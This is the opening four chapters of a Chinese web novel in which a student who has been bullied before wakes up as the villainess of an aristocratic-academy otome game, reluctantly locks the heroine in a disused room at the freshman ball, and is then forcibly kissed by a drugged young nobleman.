《在贵族学院拿恶女剧本》
1. 第 1 章
秋日晴空万里。
一辆辆满载大一新生的豪华车辆在伊雅大学城里川流不息。
道路两旁处处是中世纪以来的古建筑,一路教堂塔楼鳞次栉比,高耸的尖顶直插碧蓝的天空。精美的石雕纹路被岁月侵蚀留下赭黄斑驳。
阮柠头抵在车窗上双眼失神。
今天全家送她来开学。本该是个高兴的日子,她却怎么也高兴不起来,一个人坐在后座发呆。
车厢里放着轻音乐,爸爸握着方向盘赞叹:“伊雅的风景真不错,考上来逛跟没考上逛就是不一样。”
“那还用说。”妈妈坐在副驾上举着手机录视频,嘴角自大早上出门起就没压下来过,“还是咱们柠柠争气。咱家也出伊雅毕业生了。”
一想到女儿考上了a国第一名校伊雅大学,阮家夫妇笑的梦里都合不拢嘴。两人一路闲聊快到目的地时才发现女儿上车后还没说开口过一句话。
“柠柠,你怎么了?身体不舒服吗?”
“呃……没、没有。”阮柠坐正打起精神,“我没事,是昨晚太兴奋了没睡好。”
她怕爸爸妈妈不相信,又挤出一个标准的乖乖女18颗牙露齿笑。
到底是知女莫若母。阮妈邱燕叹了一口气,转过身子拉起她的手,揉了揉扣到见血的手指。
“别骗妈妈了,你从小到大就这毛病,一紧张就扣手皮。”
指甲下半月处已经撕到见血,殷红的血珠从皮下渗透出,阮柠却并不感觉到疼。妈妈温热的掌心揉搓后,她才隐隐感觉到血口针扎似的刺痛。
邱燕打心眼里心疼:“我知道你怕再跟有钱人家的小孩一起上学。但这里是伊雅,如果有人欺负你就告诉我们、告诉学校,我们都会保护你的。”
阮柠看到妈妈关切的眼神,犹豫再三,小声试着开口:
“妈,如果我不想上伊雅了呢?”
车厢里的音乐仿佛停了。爸爸皱了皱眉:“柠柠,凡事要朝前看。”
“你说什么?”妈妈出门前精心抹的粉底吓出了一道细纹,“咱们为了你考上伊雅付出了多少,怎么能说不读就不读。到底发生什么事情了?”
阮柠欲言又止。
她当然知道,伊雅是常年霸榜top3的世界名校,也一直是她藏在心底的梦想。
在一千年多年的建校史里,学校人才辈出,培养出来的科学家、艺术家、思想家在各个领域名垂青史大放异彩。因此全世界的学生都以考上伊雅为荣,各国王室权贵也热衷把后代送进来镀金。
她还记得打开邮箱时,一堆垃圾邮件里突然显示出“伊雅大学”几个字时的激动,她颤抖着点开,还没读到一半就已经晕了过去。
但是……
耳旁妈妈还在喋喋不休,接连不断的抱怨在狭小的车厢格外显眼。
阮柠的爸爸阮大鸿伸手摸妻子:“好了好了,快到学校了。”
邱燕这才想起医生的嘱托,悔刚才又差点没控制住,眉间闪过一抹愧色:“刚才是妈妈心急了。妈妈错了,当初就不该送你去读那个破学校。但事情已经过去这么久了,柠柠不要再想了,好吗。”
阮柠轻轻嗯了声,心口热流滚滚。
她该怎么跟世界上最亲的人解释:她可能快要死了,她最舍不得的就是爸爸妈妈啊。
就在前几天,阮柠突然觉醒,发现自己竟然是一个玛丽苏贵族学院乙游的恶毒女配。
【滴,检测到女配阮柠已觉醒意识,启动备用程序中……】
【恶毒女配模板加载成功!】
【触发任务:新生舞会针对女主曾书雅事件
任务要求:阻止女主与1号男主江翊浩相遇
任务失败:抹杀意识】
阮柠以为自己眼花了,但闪烁着五彩特效的系统告诉她这不是梦。
原著中恶毒女配在新生晚宴上见到了清贫小白花女主曾书雅。
女配嫉妒她清纯貌美,怕她抢走男主之一的江翊皓,于是在舞会正式开始前将其骗到又黑又冷的密室关了一晚上,差点害她冻死。
除了江翊皓,游戏中另外两位男主也死心塌地地爱着曾书雅。于是女配妒火冲烧,一次次暗算谋害女主,最终惹怒了男主们,被他们扔到公海上了结了罪恶的一生。
阮柠吓得浑身一激灵。她从小遵纪守法小心翼翼地活着,怎么就成了别人故事里的大反派了呢。
事实上,她才是现实生活中被欺负霸凌的平民。
高一那年,家里咬牙送她去读本地最著名的一所贵族女中。这所学校的伊雅升学率高达30%,只要她在里头认真学习保持优异,考上伊雅就是板上钉钉的事。
她怀着激动的心情入园,谁知第一周就被伯爵千金同学的马猝不及防踢到了胸口。
阮柠霎时痛的她当场跪下,满脑子里金星乱撞,完全不知道发生了什么。
大小姐们傲慢轻佻的笑声居高临下地砸来:“瞧瞧踢到了什么。哦,一个土包子。”
接下来大小姐们用默契的接力折磨告诉她:你不属于这里。
在权贵云集的贵族女高里,阮家这种做小生意起家的平民本就是被排挤霸凌的重点对象,阮柠单纯慢热的性格更加引起了刁蛮千金们的羞辱欲。
她一度被折磨到精神崩溃失语,最后不得已办了退学。
退学后阮柠在家休息了半年,全家轮班守着她,天天吃药看医生总算救了回来。后来又把她转到普通公立学校才渐渐走出了阴影。
虽然事情过去了3年,阮柠现在看到那所女校的校徽还会牙齿打颤。
有了这次噩梦般的经历,阮柠就算见到男主也只想躲的远远的,怎么会去主动勾引他们,甚至迫害别人?
妈妈老说她是鸵鸟性格,现在还套上了一层乌龟壳,这话说的一点不错。一想到正式开学五天后就是新生晚会,她竟怕的连学也不想上了。
但她又不敢跟爸妈说实话,怕他们以为自己旧病复发又要抓自己去住院。
“滴滴——”车子突然刹了一下。古道改建的狭小沥青车道上突然驶来一列崭新的黑色豪华轿车。
引航车开在前头,车头蓝色白色灯光交替闪烁,发出强大震慑力。
两旁车辆行人自觉靠边,大家都只在明星政要出行中才见到这种场景。
阮柠看到排头的车标跟自家竟是同一个品牌。只是家里的是为了做生意买的低配二手,人家是高端系列的全新顶配,贵气天成光芒万丈。
她好奇追随过去,车辆交汇的之间,对面半开的车窗里一闪而过一个冷冽帅气的少年。
他戴着鸭舌帽和口罩包裹的严严实实,深邃俊美眉眼发出孤傲贵气的锋芒,阮柠惊慌收回眼神,低头瞬间护航车平滑越过。
邱燕大开眼界,连忙对准摄像头:“这是王室出行吗,排场这么大?”
“塔佩伯爵江家的。他们儿子好像跟咱们柠柠同一届,叫什么来着,江、江翊皓?”
阮柠脑海里的弦顿时拉紧。
千方百计要躲的人居然在大街上碰到了!
虽然a国共和了几百年,塔佩公爵依旧是a国最有权势的几个家族之一。他们传承
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了八百年,教科书上能拉出的名人就有好几个。
a国首都塔伦城里少爷小姐们平时买包买衣服的国王街,塔伦股票交易所、国家银行所在的金桥街,还有伊雅周围一圈地皮都是江家的。
除了祖上传来下富可敌国的地产,矿产,文物珠宝,a国的能源、房产、金融、科技、奢侈品、文娱行业背后都有江家的影子。
而这些多到转世投胎一万次也花不完的钱最终只属于公爵夫妇的唯一的儿子——江翊皓。
江翊皓还是三个男主中对女主最执着、最痴情的一个。一想到要踩着他的逆鳞去找曾书雅不快,阮柠觉恨不得直接去了。
她拍着胸口心里默念,凶神经过,勿扰勿扰。
邱燕拍到一半忽然转过头问:“对了,你们开学后是不是有统一的新生舞会来着。会碰到这个江翊皓吗?”
“啊。”
阮柠愣了一下,妈妈颇有兴趣的笑容让她隐隐感觉有些不妙。
“柠柠啊,咱们既然考完了大学可以考虑点别的事了。你多看看身边的同学嘛。新生舞会准备的怎么样了,要不要再买套礼服。”
阮大鸿通过后视镜看了一眼女儿。
阮柠听出了妈妈的暗示,脸蛋唰一下红了。
她现在左眼要盯着曾书雅,右眼要盯着江翊皓,未来还有两个同等重量级嘉宾等着上场,哪有力气去想风花雪月的事。阮柠心里有苦难言。
她摇摇肩膀撒娇道:“妈——您现在在世界学术圣殿,能不要谈那些俗事吗。不是刚刚才教我不要去招惹权贵嘛。”
“叫你找对象怎么就俗了。我们是送你来读书又不是来当尼姑,难不成你一辈子不结婚。”
“可是您刚刚手机拍他时眼里在放光哎。您不会真叫我去找他吧。不行不行,我才不去触霉头。”
“我哪有眼里放光,就是看着新奇而已。咱找不了那么好的次一点也可以嘛。伊雅学生都是万里挑一的人才,你难道就没一个中意的。”
邱燕急着让女儿领个男朋友回家看看,不知不觉声调又高了。
其实他们夫妇两都是小富即安的人,倒没有一心把女儿嫁入豪门的心思。只是前几天跟女儿谈找对象时,她一口回绝总让人不放心。
“我不要,我现在只想顺利毕业。总之我真的不要……”阮柠抱起腿摆出防御姿态,像圈里的咩咩叫的小羊要拿角顶人。
邱燕生气了:“你们父女两一个模子刻出来的,都是死脑筋。出去跟帅帅的男孩子约会多好啊,怎么还要人求呢。”
“就不要,就不……”
阮柠坚持不松口。
母女两相互说不通,邱燕最后还是妥协闭了嘴。全家花了几年时间让阴影淡去,不能逼急了女儿。
阮柠松了一口气,脸上还耷拉着眉头不许话题继续。
其实她明白妈妈的苦心,但系统随时能要了她的命,实在没精力去想那些有的没的。
如果可以,她希望永远不要听到江翊皓的名字、见到这个人。
游戏中江翊皓记忆力惊人,仅凭一面之缘瞬间把她的姓名相貌对上轻松追捕回来。
因此,她更要捂紧自己的脸别被看到才是。毕竟离江翊皓远一分就多一分安全。
刚刚仅跟他擦身而过背后就长出一层鸡皮疙瘩,若跟他正面碰上简直不敢想象。好在江大少爷目不斜视,没注意到她这个路人女配。
这时,沉默良久的爸爸突然加踩油门。
“柠柠,你不能总是逃避。爸爸希望你能勇敢走出来,尝试跟不同的人相处。”
2. 第 2 章
爸爸给了她一张银行卡,稳稳地握着方向盘。
“这是你从小到大的压岁钱。我和你妈妈一直给你存着,现在还给你。密码是你的生日。”
阮柠接过来,卡面是她最喜欢的游戏联名,惊喜的笑容一下子从嘴角荡开。
单纯给钱她可能没什么感觉,她不怎么逛街买东西,零花钱经常花不完。但看到最爱的游戏卡面,幸福快乐瞬间从死气沉沉内心蹿出来炸成烟花。
“谢谢爸爸!谢谢妈妈!”阮柠捏着银行卡反复摩挲。
“赶紧去买身衣服,多打扮打扮知道嘛。”邱燕忍不住嫌弃女儿总是窝在屋子里,一年到头只穿那么几件。
“知道啦。”阮柠嘟声应和。
“这丫头,平时给她钱也没这么开心。今天是怎么了。”邱燕欣慰女儿终于开窍,知道有钱的好了。
拿到银行卡时,阮柠高兴地差点亲上去。
到底是亲生爸妈,有他们做坚实的后盾,压在心里的重担顿时卸下了一半。
其实觉醒后,阮柠整日发愁的另一个原因就是钱。
虽然家里开了个小服装厂,日子比上不足比下有余。她若想自由出入天龙人男主所在的场所还是难如登天。
阮家一没财力二没地位,没人引荐的话根本找不到上流宴会的门。
而且圈子里都身价亿万,若没配得上身份的行头排面,进去了也只会被当成服务员。
原作女配就是虚荣心作祟瞒着家里借了几千万假扮名媛,最后被黑.瑟会联合追杀。
血淋淋的原著在前,阮柠告诫自己一定不要重蹈覆辙。
现在钱有了,至少接近男主的路费不用她操心了。
“你长大了,爸爸妈妈也老了。”
“以后家里的生意以后都要交到你手上,这点你要早做准备。”
“只要你能家庭幸福、身体健康,再把生意接好,我和你妈就放心了。”
阮柠捏着银行卡不说话,悄悄转过头快速抹掉眼角的泪水。
车子不一会儿开进了学校,邱燕感叹:“名校不愧是名校,瞧瞧这气派。”
学校大道宽敞直通校园标志性建筑圣眷之门。两旁绿树成荫,悬挂着伊雅著名的紫色横幅,迎风招展。
学校种满园区的蓝花楹为名。每到夏天,学校沉浸在一片梦幻的浅紫色仙境中,引来大批游客赏花踏青。
因此校徽也以紫色盾牌为底,中间阴刻着的头顶橄榄冠女战神,一手举着利剑一手捧着书,配以a国传统语言蒂梵语的校训——“真理不灭”。
阮柠的宿舍分配到了一座有三百年历史的古堡。
车子远远开近时,一家人就见识到了千年名校开学的热闹与喧嚣。
碧蓝的天空下,一座座高大古朴的石堡错落云集。青色的石墙爬满了翠绿的青藤,绕过石雕尖拱窗户,仿佛童话书里公主城堡的窗棂。
各路豪车匍匐在它脚下,将城堡围得水泄不通。石子古人行道上人来人往,车喇叭与人声交织翻滚。
阮大鸿缓缓控制着驾驶速度,一眼看到城堡正门口挂着铭牌“a国历史文物保护名录”。
邱燕则注意到陪孩子来的家长基本上都红唇名包大钻戒,下车仆人扶着,一群人浩浩荡荡地进入大门。庆幸自己也好好打扮了一番,没给女儿丢脸。
阮柠看到城堡兴奋之余有些担心,心想里面会不会有些潮湿老旧。
谁知里面经过了现代化改造,房间又舒服又宽敞。
每个大一新生都独享一套学生公寓,房间装修的简约典雅,配备客厅、厨房、阳台、浴室、全套生活家电和Wi-Fi,甚至连打印机和传真机都有。
邱燕特别喜欢客厅窗台那一块。彩色花格窗户下摆了一对上世纪流行的米色古典沙发和一套精致的茶具。可以一边在喝茶一边欣赏窗外的梧桐草地。
邱燕端起茶杯坐在窗边拍了一张发到家族群里,群里顿时热闹起来,涌出几十条留言:
“不愧是名校,住的比宾馆还好。”
“能让柠柠带我们去参观不,开开眼界。”
“柠柠真争气啊,回头让她教教表妹好好学习,考个好大学。”
邱燕不断划着屏幕给阮大鸿看,笑得比吃了蜜都甜。
全家忙里忙外收拾了一天总安顿好宿舍。阮柠催爸妈赶紧回去,免得走夜路不安全,其实心里想的都是任务。
但阮大鸿不愿立即离开,坚持去附近最好的餐厅点了大一桌子菜。
包厢里,爸爸郑重地举起茶杯。
“柠柠,这是你上大学前爸爸妈妈陪你吃的最后一顿晚饭了。以后好好学习,照顾好自己的身体,有什么事跟家里打电话。”
包厢暖黄的灯光给人打了一层柔和的滤光,阮柠却清晰地看到爸爸眼角的细纹。
印象中他总是坐在前头沉稳带领全家的司机,这一刻切切实实感觉到爸爸真的老了。
眼泪忽然就上了眼眶,邱燕擦干女儿的眼泪笑她:“赶了我们一下午,现在终于走了,高兴都来不及吧。”
“才没有。”阮柠羞红低下头,“妈妈冤枉我。”
邱燕搂过女儿抱入怀里,轻轻呢喃:“不管发生什么事都要告诉我们。你是我们的女儿,我们不保护你保护谁。”
“嗯……”阮柠终于忍不住埋进妈妈的肩窝,泪花冲出眼睛一颗一颗滴下来。
我一定会顺利完成任务的。
伊雅对学生课业要求十分严格,阮柠开学就淹没在一堆繁杂的导入课程中。
她一遍熟悉、掌握新课,一遍调查准备,转眼距离新生舞会只剩两天了。
午间,阮柠照例叼个三明治,迅速打开社交软件直奔江翊皓话题。
开学那天阮柠就发现不少专门报道王室贵族的狗仔蹲在学校里。
三个男主不愧是万众瞩目的豪门贵胄,当她埋在作业中累的晕头转向时,男主们的八卦偷拍已经传的全网满天飞了。
这倒给她提供了不少有利的情报。
根据零零散散的消息来看,江翊皓行踪神秘平时不住在学校,只有上课的时候才露面。
他经常一个人戴着鸭舌帽口罩坐在角落,到点下课就走。偶尔去学校咖啡厅买个三明治。
这个人很注重隐私,目前还没人拍到高清正脸,仅从露出的半张脸能看的出是个万里挑一的大帅哥。
有服务员在评论区爆料,江翊皓几天前来店里买了杯8块钱的黑咖啡给了他100块小费。
评论区顿时疯了,5万点赞瞬间顶上热评第一,网友成群结队嚎叫:
“请问贵餐厅还招人吗?”
“江翊皓平时爱去哪个餐厅,我连夜翻进去擦桌子。”
“少爷喝咖啡倒是其次,打赏才是本体吧。”
这条没过多久被营销号发现,阮柠亲眼看着营销号一传十十传百不断顶上热搜,江家财大气粗的印象再一次刻进平明百姓心里。
阮柠看到江翊皓出入的咖啡厅竟然是今天买三明治的地方,叹了一口气,默默退掉中午刚充
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的会员。
她恋恋不舍地咬下最后一口,这家三明治真的好吃啊。
两天眨眼过去,一晃到了新生舞会这天。
被开学折磨的灰头土脸的学生们一夜之间活了过来,个个打扮的珠光宝气、潇洒倜傥,意气风发地奔赴宴会。
今晚晚餐加舞会一共四个小时,系统要求她要在江翊皓出席舞会之前把曾书雅囚禁阻止两人见面,否则任务失败。
阮柠老早准备好,穿了一件淡灰色抹胸薄纱小礼服,头发向后盘成一个低髻花苞公主头,露出纤细凝白的脖颈。
阮柠本来想素装出席,在妈妈强烈要求下隆重打扮了一番。
也是,在这种场合下太过低调反而惹眼,于是挑个外婆流传下来的蜻蜓胸针别在左侧胸口。
胸针是钻石做的,精致小巧的蜻蜓翅膀上镶嵌满了晶光闪闪的小钻石,后上一颗心形的红宝石尤其光彩耀眼,灵巧精致不输大牌珠宝。
准备好的阮柠紧张又低调地赶到大礼堂。
她跨过古老石阶,进门就被礼堂天花板上纵横交错的肋顶吸引。
满堂衣香鬓影笑声盈门。宴会厅两边墙上挂着伊雅历代大大小小的名人画像,厚重的历史感扑面而来。
大厅中央竖排并列了几条一百米多长的黑胡桃木桌,桌上插着浅紫色的无尽夏花球,星闪的烛光点缀其间。整齐有序的纯银餐具和晶莹闪烁的玻璃杯映得每位出席者都容光焕发、神采奕奕。
阮柠第一次参加这么正式的晚宴,惊讶连侍者都优雅如老电影,一举一动礼貌得体。
她在侍者优雅的引导下落座,一坐下就看到了斜对面的女主曾书雅。
阮柠睫毛微颤。
“小姐,请问您想喝点什么。”打着黑领结的侍者突然微笑打断。
阮柠愣了一下,匆忙收回目光:“一杯清水就行了。”
阮柠端起透明的玻璃杯高脚,目光偷偷瞟向斜对面。
玛丽苏女主不愧是是女主,曾书雅只穿了条便宜的白色礼服裙便把周围都比了下去,在一堆花枝招展的富家千金中美的清新脱俗。人群中一眼就看到了她。
于是有钱的大小姐们抱团孤立曾书雅,但是单纯的她并没看出来,以为大家只是不熟,一个人坐在位上忐忑等待开宴。
阮柠垂下眼睫,仿佛看到了当初啥也不懂的自己。
不行,她现在是恶毒女配,不能做任何多余的事情。
说起来算曾书雅的运气不好。
本来宴会应该男女交错,但本届有三个男主入学,入读女生的直接多了一成。
分到她们这桌时,前后左右都是女生,还都是家境不错的大小姐。几乎整张餐桌的女生都在讨论男主们。
“三大公爵之子到底什么时候来,全场的女生都等着他们呢。”
“另外两个不来,塔佩公爵家说不定会来。不过十有八九看不到。”
阮柠顺着望去,江翊皓的席位果然孤零零低立着一个名牌,在全场坐满的宴会中尤为刺眼。
女生们指着空位窃窃私语。
“瞧瞧人家从小出席宴会的档次就知道了,怎么看得上学校的宴会。”
这点大家都心知肚明。
人家从小出席上新闻的a国国庆晚宴,外国王室接待晚宴,大学一个小小的新生舞会怎么能相提并论。
众人都在惋惜可能看不到传说中的钻石王老五时,只有阮柠一人暗暗欢喜。
江翊皓,祝你在外面玩的愉快,最好永远不要出现。
3. 第 3 章
有了不错的开头,阮柠信心多了几成。静候晚宴开始。
伊雅虽然是贵族学院出身,校风质朴平实,校长简短发表了祝福讲话后晚宴正式开始。
训练有素侍者们排成长列依次走到学生身边,同时掀开菜罩,场面颇为壮观。
晚宴特意请了五星级大厨掌勺,菜肴一掀开热烘烘地香气弥漫在整个大厅。
阮柠没什么胃口,脑海里响着两个小时倒计时。叉了一小块主厨招牌的油封牛板腱送进嘴里,随意嚼了嚼。
在场除了她都在沉浸在色香味俱全的美食中。
阮柠瞟了一眼曾书雅。她拿着刀叉小心切开一小块油封牛板腱小口慢慢咀嚼,脸上露出幸福的表情,全然沉浸在美食的世界。
机会来了。
阮柠瞅准端起酒杯离座。
“小姐,请问您有什么吩咐?”
阮柠慌神转头,看见领头侍者举着锃亮的菜盘亲切微笑,后面站着一排侍者好奇地望着她。
糟糕,挡着人家上菜了。
“呃,没事。”阮柠尴尬地乖乖坐回原位,暗骂自己居然忘了晚宴按照国宴标准一道道端上来。
阮柠只好耐着性子等到菜上的差不多了,一看时间已经过了一半。
再不下手江翊皓就要出现了。
上完甜点后,阮柠立即绕到曾书雅背后不小心手一松,白色礼服裙背面霎时炸开一朵醒目酒红色花朵。
“对不起,我不是故意的,刚刚没拿稳,弄脏了你的裙子真对不起。”阮柠慌忙弯腰道歉帮她擦干,假装难过极了。
周围目光吸引过来,看到被泼的是曾书雅,嗤笑一声转回去继续吃东西聊天。
曾书雅一时懵了,努力看背部却怎么也看不到。
阮柠连忙拿纸巾帮她擦,再次强调:“真对不起,把你裙子毁了。我赔你一条吧。”
曾书雅明明是受害者却露出不好意思的模样,温柔地安慰她:“没事,我擦一下就好了。真的不用麻烦了。”
阮柠假装自责。
“怎么会没事呢,我们入学的第一场舞会要漂漂亮亮的起个好头才行呢。”
“正好我多带了几条裙子,你要是不嫌弃的话穿我的好吗。”
曾书雅一手拧着泼脏的背部,清澈的眼神里犹豫不决。看样子是个善良体贴不忍心拒绝别人的姑娘。
“我没事的,这条裙子很便宜,我自己处理一下就好了。”
阮柠心里着急,她拿出更温柔的语气耐心哄道:
“可是这条裙子完全不能穿了。你就听我的吧。”
“我们走吧,换好了可以早点回来哦,绝对不会错过舞会,你要相信我嘛。”
阮柠紧张地心快跳出来了。
这是她第一次坑骗别人,每次对上曾书雅水灵灵的眼睛都差点露馅。求她不要再问了直接走吧。
求求你了。
阮柠掌心冒出一层冷汗。
“那好吧。”曾书雅在她半劝半拉间点点头,阮柠悬着的心终于落回肚子里,她笑着牵起曾书雅的手。
“等等!”曾书雅忽然停住。
“怎么了?”阮柠笑容僵在脸上,差点一口气背过去。
曾书雅关切地问:“你的手怎么了?”
阮柠慌忙低头,原来是自己刚才太紧张了没发现手指被抠的鲜血直流。她急忙收回手说:“不碍事的,只是不小心扣破皮了。我经常这样,不要担心。”
曾书雅坚持不走,体贴地拿起餐巾纸帮她悉心包起来,闪着单纯明亮的大眼睛问望着她:“一直流血很痛的,我给你包扎好了。现在还痛不痛?”
“嗯,不疼了。”阮柠心虚地避开她的视线。
曾书雅这才露出笑颜,放心地跟她走。
阮柠心头一阵发酸,心中的内疚达到顶峰。
为什么要坑害一个无辜的人。
“对不起。”
她从开学到现在第一次对人说。
“对不起。”
短短几分钟后,她又说了一次,还是对着曾书雅。不过是站在废弃的休息室外,对着隔着厚厚的松木门。
因为她的伪装,单纯善良的曾书雅很快上当,被她关进大礼堂角落一间荒废已久的休息室。
这是她精心挑选的地方。
跟所有伊雅的学生公共休息室一样,里面有柔软的沙发,宽敞的壁炉,古老的壁画还有菱形彩绘玻璃窗。只不过这间屋子年久失修渐渐被人遗弃,平时很少有人来,里面积了厚厚的一层灰,但比原著又臭又潮的地牢好了不少。
“曾书雅,请你不要怪我。你乖乖的在里面不要乱动。”
“里面很安全的,我不会伤害你的,请你一定要相信我。舞会过了我一定放你出来。”
阮柠双手合对着木门十拜了又拜,慌慌张张跑回宴会厅。
她一路上脚步虚浮。
不过半小时间,自己竟然真的顺利地把人关进密室,成了名副其实的坏人了。
回到宴会时舞会已经开始,同学们手牵着手在舞池翩翩起舞。只有她脑子里依然乱嗡嗡的。
阮柠独自躲在角落守着舞厅的大钟。
偶尔有几个男主过来请她跳舞,她茫然抬起头又茫然地摇摇头,视线总落不到人的身上。男生只能遗憾退下。
阮柠抱着胳膊时不时摩挲。
现在才初秋,为什么觉得这么冷呢。
时针滴答滴答走过,阮柠盯着大门静候江翊皓的到来。
现在她任务完成了一半,只要盯住男主,另一半任务也圆满完成了。
她给自己加油打气。
又过了一个多小时,江翊皓依旧没有出现,人们低声讨论。
他不会不来了吧。
游戏中江翊皓不仅来了还玩的很开心,所以得知真相更加愤怒。
自己在享乐时心爱之人却在又臭又冷的地牢挨冻受苦,而自己什么都没做。
阮柠沉住气,盯着大门。
忽然,她看到今晚最怕看到的身影——曾书雅。
她顿时全身寒毛倒立。
阮柠以为自己看错了,可那道白影背后还有自己亲手泼的酒红污!
她立即追过去正撞到一对跳舞的男女,对方抱怨了一句,阮柠连连道歉,径直穿过宽阔的舞池。
曾书雅怎么会出现在这?
她不应该关在休息室里吗?
致命的疑问一次又一次攻击着她的大脑,她战栗着跑向休息室。
当看到休息室大门敞开时,阮柠沉重的心坠入深渊。
“曾、曾书雅?”阮柠嗓音颤抖,手脚冰冷地推开厚重木门。
她又心虚地说了一句:“你换好衣服了吗?我来接你——阿嚏!”话还没说完被房里的灰尘呛到。
两天前她才特意打扫过一遍,才过两天又积灰了。
房间一片漆黑,只有窗外的月光映进来勉强可以看清房内陈设轮廓,透着阴森的气息。
她不死心地轻声叫了一下“曾书雅”,声音在空旷的转了个来回,没有人应。
难道她跑了?
休息室静的只能听见她的呼吸和远处舞会的音乐,阮柠心提到嗓子眼,慌忙之中大喊一声:“曾书雅,你在里面吗?回答我!”
灰暗的房间依旧无人回应。
完了。
自己明明把门锁的好好的人怎么会跑了呢?!
她无力地滑倒在肮脏的旧地毯上,抱着脑袋头疼欲裂。这会儿她已经连哭的力气也没有了。
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为什么第一次做坏事就会碰到这么多状况。
说来说去都是系统不好,早说了这活她真的干不来啊。
呜呜……
就在她绝望之际,休息室里面传来滴滴答答的水声,阮柠一激灵抬头竖起耳朵。
有人在里面?
她抱着最后一丝希望蹑手蹑脚走进去。
阮柠顺着声音找进去,原来休息室里头还隐藏着一个浴室。
她轻咳一声弹掉身上的灰,整理出一个若无其事的微笑缓缓推开门,“原来你在这儿……”
话还停在口头,阮柠全身僵硬站住。
只见一个身材高大健硕的少年正趴在浴缸边上低声痛苦喘息,老旧的水龙头滴答滴答流着水,里外没有半分曾书雅的影子。
少年穿着运动短裤,两条大长腿修长笔直,光裸的小腿跟腱正对阮柠,在黑暗中泛着性感诱人的光泽。
“你是谁?”
少年血红的眸子喘着粗气扫来,看到自己的那刻他突然瞳孔放大猛咳几声,痛苦地难以呼吸。他瞪着自己,像黑暗中受伤的猛犬嘶嘶龇牙,警告不许上前。
阮柠惊吓的同时更担心这人看到什么没。
她极力抚平全身激动缓缓靠近,小心觑着他的脸色:“你没事吧。请问你刚才一直在这里吗?”
“滚出去!”
“我叫你滚,别管我!”
少年勃然大怒冲他吼道。他眼睛眯起,幽深的眼眸露出凶煞的精光。
阮柠背后仿佛有烈火在熊熊灼烧,内心恐惧到极点,牙缝里哆哆嗦嗦挤出一句话:“可是你看着很虚弱。我怕你出事,只是想过来问问你需不需要帮忙嘛。”
“滚——”
“你听不到吗?滚的越远越好。”
少年赤红着双眼突然闪过一丝晦暗不明的火苗,阮柠不明白这意味着什么,直觉告诉她现在很危险。
月黑风高,孤男寡女共处一室,换平时阮柠早远远绕开了。
但这个人看着十分虚弱,要是她一走了之出了什么事她会内疚一辈子。
“你放心,我没有恶意的。我只是担心你一个人在这里真没问题吗。”
“你不要硬撑了,我带你去看医生吧。”
少年修长的身躯微微一颤,转过宽肩窄腰的身影,背对着她极力克制一股强大的冲动,牙齿咬得咯咯响:“快走,不要理我……”
说罢从浴缸上重重磕下来不省人事。
“喂!你怎么了?你快醒醒啊。”阮柠慌忙上前拍少年的脸,“你别吓我。你要出了意外了我怎么办啊。”
要是被警察找上门,囚禁的事岂不全露馅了!
阮柠揪住他的胳膊使劲摇:“你振作一点啊,我带去你去看医生。我们现在就去看医生!”
少年落拓的浓密黑发落在额头上只是晃了几下,高耸的眉骨下眼窝深邃,精致的卧蚕添了几分风流痞帅,棱角分明的丰唇紧闭。
他昏迷不醒,但通身桀骜贵气显示出这个人来历不凡,像权贵家里出来的不可一世的大少爷。
少年一米八多的身体精壮结实,沉的跟沙包似的。阮柠使尽全身力气也没扛动,忙活半天累得双腿打颤竟然没挪动半寸。
阮柠越来越慌。
我好心救你,你千万不要害我啊。
快起来啊沙包!
阮柠连拖带拉折了腾许久,少年终于有点动静,缓缓抬头。
"哈,你终于醒了。"
阮柠惊喜上前搀扶,忽然空气中弥漫着一股危险媚惑的气息。
少年直勾勾地盯着她,鼻尖缓缓靠近,阮柠几乎看清楚他每根浓密的睫毛,眼神锐利赤果,背冒出一身冷汗。
她本能后退却被少年抢先一步摁住后脑勺狠狠吻住!
4. 第 4 章
“不!不要!放开我!唔——”
阮柠脑海一片空白。
少年吻得又狠又急,粗重的呼吸喷到她脸上,年轻男子荷尔蒙混着海盐鼠尾草香气铺天盖地淹没了她的呼救。
他、他怎么了?!
“混蛋放开我啊……啊……”
阮柠奋力推开失去理智的少年,却惹怒了他。
他惩罚性加重了力道,闭着眼睛更加放肆地攫取着她口中的津液,吻的阮柠嘴唇红肿。
不要!
阮柠被吻得快要背过气,凭着最后一丝力气揪住少年的衣领“扑通”一声两人翻进蓄了一半水的浴缸。
冷水打在少年脸上,人倏忽醒了。
发生了什么?
阮柠趁机挣脱钳制瑟缩到浴缸边上呜呜低喘,浴室里涤荡着激烈挣扎后的水声。
少年拍了拍昏昏沉沉的脑袋,眼神锋利地能杀人:“敢下药到我头上,不想活命了。”
半小时前他匆匆赶回学校,忽然全身血气上涌、情.欲难制,快要失去意识的他紧急找了间废弃的休息室静心休整。
他大爷的,谁能想到这么个鸟不拉屎的地方大半夜还能碰到活人。
还是个不知死活的女人。
他不耐烦赶跑,那人偏轴的跟驴一样,赶都赶不走,之后他就什么都不记得了……
现在他一想杀了下药的狗贼,二想收拾残局快点走人。
少年习惯性地抖抖衣领:“今晚算我不对,你想要什么补偿。”
说话间他敏锐捕捉到那女孩完全没听,反而碍眼地用力擦嘴。
敢嫌弃他。
火气蹭一下窜上头,少年狠声顿时炸响寂静的浴室:“你谁——”
对上阮柠眼神一瞬间,他脑海里好像有什么炸开了,滚烫的火焰自内心爆发蔓延直全身。
女孩眼尾微红,低矮花苞头早散乱的不成样子,薄纱裙像花瓣一样散开,随着抽泣低低起伏,雪白的脖子上还有勒出的红痕,散发出一股凌虐后清纯无辜感。
阮柠被他凶恶霸道的表情吓到,惊恐盯着他逃出浴缸:“你是谁,你别过来!”
因为太过慌张,脚底一滑身子向后倒去“啊——”阮柠尖叫陷入绝望。
少年却是眼疾手快冲过来扶住她,跌入他坚实的胸膛。
“放开我,不要碰我!”阮柠触电似的大喊,挣扎着推开他的身体。
少年尴尬松开,清亮的嗓音压抑着怒气:“喂,我没别的意思,你别乱想。”
尴尬在房里四处蔓延。
两人都一身湿淋淋的狼狈不堪,孤男寡女衣衫凌乱,两人都异常默契地同时保持沉默。
阮柠没心情去讨回公道,她只知道,舞会不到半小时就结束了,她必须马上回去。
浴缸积灰都随着水流蹭到了身上,纱裙吸了脏水又重又冷,全身乱七八糟的。她心慌意乱地四处寻找打理的东西。
少年穿着运动服情况没她严重,但也受不了一身污糟,到处找东西擦干净。
他一边找,眼神时不时瞟过来:“对了,你叫什么名字?几年级的?哪个院?”
“……”
阮柠没心情搭理,翻箱倒柜寻找。她看得出这个人身份尊贵,的不是她能惹得起的,闭紧嘴巴少接触为妙。
